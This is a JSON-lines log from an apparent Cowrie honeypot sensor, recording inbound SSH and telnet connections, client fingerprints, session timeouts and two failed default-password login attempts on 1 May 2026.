{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:42.086484Z","src_ip":"159.203.92.129","session":"277678f0397a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:42.090703Z","src_ip":"159.203.92.129","session":"277678f0397a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"archos","password":"123456","message":"login attempt [archos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:42.100908Z","src_ip":"159.203.92.129","session":"277678f0397a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":38798,"dst_ip":"10.17.0.5","dst_port":23,"session":"132a53c99914","protocol":"telnet","message":"New connection: 135.148.33.217:38798 (10.17.0.5:23) [session: 132a53c99914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:42.140464Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":37290,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d0825709d9","protocol":"telnet","message":"New connection: 50.6.7.102:37290 (10.17.0.5:23) [session: 96d0825709d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:42.198476Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":44242,"dst_ip":"10.17.0.5","dst_port":23,"session":"64c3b0e0de80","protocol":"telnet","message":"New connection: 162.241.40.195:44242 (10.17.0.5:23) [session: 64c3b0e0de80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:42.276072Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":41722,"dst_ip":"10.17.0.5","dst_port":23,"session":"05d45337df83","protocol":"telnet","message":"New connection: 160.250.4.73:41722 (10.17.0.5:23) [session: 05d45337df83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:42.521020Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":40056,"dst_ip":"10.17.0.5","dst_port":23,"session":"e85aa78732c2","protocol":"telnet","message":"New connection: 135.148.33.217:40056 (10.17.0.5:23) [session: e85aa78732c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:43.000795Z"}
{"eventid":"cowrie.session.closed","duration":30.27834701538086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:43.022179Z","src_ip":"99.198.111.122","session":"3965b12b0f8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.660811185836792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:43.027086Z","src_ip":"216.22.21.200","session":"a7076bc6d1d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876259088516235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:43.066296Z","src_ip":"135.148.33.217","session":"3f968f2d3d3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06574559211731,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:43.082880Z","src_ip":"99.198.111.122","session":"57a8e14eafbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:43.106531Z","src_ip":"159.203.92.129","session":"277678f0397a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95652198791504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:43.189364Z","src_ip":"160.250.4.73","session":"29d2e326f3ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.439244270324707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:43.516504Z","src_ip":"99.198.111.122","session":"bf198ee31e5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.585532665252686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:43.699528Z","src_ip":"162.241.40.195","session":"7058f7b0ff7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":58058,"dst_ip":"10.17.0.5","dst_port":23,"session":"d272705412e7","protocol":"telnet","message":"New connection: 216.22.21.200:58058 (10.17.0.5:23) [session: d272705412e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:43.926049Z"}
{"eventid":"cowrie.session.closed","duration":31.034420251846313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:44.038762Z","src_ip":"99.198.111.122","session":"5ca40838f14e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.267115831375122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:44.057841Z","src_ip":"99.198.111.122","session":"57be3eb4bc16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":44184,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e2e328953ef","protocol":"telnet","message":"New connection: 162.241.40.195:44184 (10.17.0.5:23) [session: 1e2e328953ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:44.176742Z"}
{"eventid":"cowrie.session.closed","duration":31.231120586395264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:44.277689Z","src_ip":"216.22.21.200","session":"ee06afb923f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":58386,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ae1c51b81cf","protocol":"telnet","message":"New connection: 216.22.21.200:58386 (10.17.0.5:23) [session: 7ae1c51b81cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:44.286404Z"}
{"eventid":"cowrie.session.closed","duration":31.124925136566162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:44.407093Z","src_ip":"99.198.111.122","session":"8def00b165a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789361000061035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:45.026823Z","src_ip":"135.148.33.217","session":"81cfd78f756b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":44190,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa8f747d9f72","protocol":"telnet","message":"New connection: 99.198.111.122:44190 (10.17.0.5:23) [session: fa8f747d9f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:45.095635Z"}
{"eventid":"cowrie.session.closed","duration":30.324387073516846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:45.109885Z","src_ip":"99.198.111.122","session":"4727e38dc283","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.081395149230957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:45.142122Z","src_ip":"160.250.4.73","session":"7f0d9d9f68d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":54464,"dst_ip":"10.17.0.5","dst_port":22,"session":"d05977a7e955","protocol":"ssh","message":"New connection: 186.80.18.158:54464 (10.17.0.5:22) [session: d05977a7e955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:45.189895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:45.198331Z","src_ip":"186.80.18.158","session":"d05977a7e955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:45.277647Z","src_ip":"186.80.18.158","session":"d05977a7e955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.998192071914673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:45.297741Z","src_ip":"99.198.111.122","session":"ab041cf1ffa7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"1q2w3e","message":"login attempt [guest/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:45.632679Z","src_ip":"186.80.18.158","session":"d05977a7e955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":46176,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e94516bcf6b","protocol":"telnet","message":"New connection: 99.198.111.122:46176 (10.17.0.5:23) [session: 8e94516bcf6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:45.964016Z"}
{"eventid":"cowrie.session.closed","duration":31.789815187454224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:46.012751Z","src_ip":"195.154.29.177","session":"5c40201bbb95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":43842,"dst_ip":"10.17.0.5","dst_port":23,"session":"45f122d17032","protocol":"telnet","message":"New connection: 135.148.33.217:43842 (10.17.0.5:23) [session: 45f122d17032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:46.020495Z"}
{"eventid":"cowrie.session.closed","duration":30.31127905845642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:46.038489Z","src_ip":"135.148.33.217","session":"35aa2ec94a9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.147485494613647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:46.052726Z","src_ip":"99.198.111.122","session":"fa370477167e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":34376,"dst_ip":"10.17.0.5","dst_port":23,"session":"d05a340c5de8","protocol":"telnet","message":"New connection: 162.214.112.92:34376 (10.17.0.5:23) [session: d05a340c5de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:46.091417Z"}
{"eventid":"cowrie.session.closed","duration":30.315829277038574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:46.124553Z","src_ip":"64.235.40.29","session":"b1574711e289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":41734,"dst_ip":"10.17.0.5","dst_port":23,"session":"e346860dbedf","protocol":"telnet","message":"New connection: 160.250.4.73:41734 (10.17.0.5:23) [session: e346860dbedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:46.325444Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:46.716325Z","src_ip":"186.80.18.158","session":"d05977a7e955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":34624,"dst_ip":"10.17.0.5","dst_port":23,"session":"74e4af8b186b","protocol":"telnet","message":"New connection: 162.214.112.92:34624 (10.17.0.5:23) [session: 74e4af8b186b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:46.851886Z"}
{"eventid":"cowrie.session.closed","duration":30.20937943458557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:47.013355Z","src_ip":"135.148.33.217","session":"737962f19a2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96533703804016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:47.018093Z","src_ip":"135.148.33.217","session":"b5e1824c0d3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34380054473877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:47.059728Z","src_ip":"216.22.21.200","session":"93641a3e0140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":33612,"dst_ip":"10.17.0.5","dst_port":23,"session":"e29f99a24516","protocol":"telnet","message":"New connection: 162.214.112.92:33612 (10.17.0.5:23) [session: e29f99a24516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:47.088896Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48770,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e1507eb9906","protocol":"telnet","message":"New connection: 99.198.111.122:48770 (10.17.0.5:23) [session: 6e1507eb9906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:47.105119Z"}
{"eventid":"cowrie.session.closed","duration":30.9277822971344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:47.183527Z","src_ip":"99.198.111.122","session":"c7c6d10ff1f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.870635509490967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:47.418664Z","src_ip":"99.198.111.122","session":"dbb9c112524b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.222883939743042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:48.093276Z","src_ip":"162.241.40.195","session":"c95225952b93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931645393371582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:48.239930Z","src_ip":"160.250.4.73","session":"f42b35a29190","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52949070930481,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:48.391057Z","src_ip":"99.198.111.122","session":"b0bf36e05d8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":47560,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f2858f2fcf5","protocol":"telnet","message":"New connection: 135.148.33.217:47560 (10.17.0.5:23) [session: 9f2858f2fcf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:48.785789Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":41744,"dst_ip":"10.17.0.5","dst_port":23,"session":"61cc0855e855","protocol":"telnet","message":"New connection: 160.250.4.73:41744 (10.17.0.5:23) [session: 61cc0855e855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:48.843898Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":48772,"dst_ip":"10.17.0.5","dst_port":23,"session":"c50c2f7cf00b","protocol":"telnet","message":"New connection: 162.241.40.195:48772 (10.17.0.5:23) [session: c50c2f7cf00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:49.353274Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":33878,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d20cc48b5b4","protocol":"telnet","message":"New connection: 160.250.4.73:33878 (10.17.0.5:23) [session: 1d20cc48b5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:49.786430Z"}
{"eventid":"cowrie.session.closed","duration":31.528624534606934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:49.953029Z","src_ip":"99.198.111.122","session":"2fb9be2a12b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096629858016968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:49.997782Z","src_ip":"162.241.40.195","session":"c45c9cdb0e00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.604350090026855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:50.025897Z","src_ip":"99.198.111.122","session":"f98783f1a52c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":48622,"dst_ip":"10.17.0.5","dst_port":23,"session":"d52a8c4aad44","protocol":"telnet","message":"New connection: 162.241.40.195:48622 (10.17.0.5:23) [session: d52a8c4aad44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:50.038166Z"}
{"eventid":"cowrie.session.closed","duration":30.91472864151001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:50.138702Z","src_ip":"64.235.40.29","session":"a4c6d4bbadf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":48712,"dst_ip":"10.17.0.5","dst_port":23,"session":"3306bafad11f","protocol":"telnet","message":"New connection: 162.241.40.195:48712 (10.17.0.5:23) [session: 3306bafad11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:50.220945Z"}
{"eventid":"cowrie.session.closed","duration":31.168217182159424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:50.257085Z","src_ip":"99.198.111.122","session":"78a1fd3dd0e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":49372,"dst_ip":"10.17.0.5","dst_port":23,"session":"91709daaac0e","protocol":"telnet","message":"New connection: 135.148.33.217:49372 (10.17.0.5:23) [session: 91709daaac0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:50.314435Z"}
{"eventid":"cowrie.session.closed","duration":31.61909294128418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:50.385135Z","src_ip":"162.241.40.195","session":"164a76aa7315","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":57748,"dst_ip":"10.17.0.5","dst_port":23,"session":"962b5c3d7662","protocol":"telnet","message":"New connection: 99.198.111.122:57748 (10.17.0.5:23) [session: 962b5c3d7662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:50.836764Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":33892,"dst_ip":"10.17.0.5","dst_port":23,"session":"c730f8b39c7b","protocol":"telnet","message":"New connection: 160.250.4.73:33892 (10.17.0.5:23) [session: c730f8b39c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:50.844220Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":48060,"dst_ip":"10.17.0.5","dst_port":23,"session":"d395fd9eaef6","protocol":"telnet","message":"New connection: 162.241.40.195:48060 (10.17.0.5:23) [session: d395fd9eaef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:51.020473Z"}
{"eventid":"cowrie.session.closed","duration":30.181253910064697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:51.039355Z","src_ip":"99.198.111.122","session":"b9e8577d446d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618273735046387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:51.046133Z","src_ip":"99.198.111.122","session":"1ad062bb238a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0033597946167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:51.072240Z","src_ip":"135.148.33.217","session":"20e6ea0eab27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":47950,"dst_ip":"10.17.0.5","dst_port":23,"session":"1186740ceb70","protocol":"telnet","message":"New connection: 50.6.7.102:47950 (10.17.0.5:23) [session: 1186740ceb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:51.304052Z"}
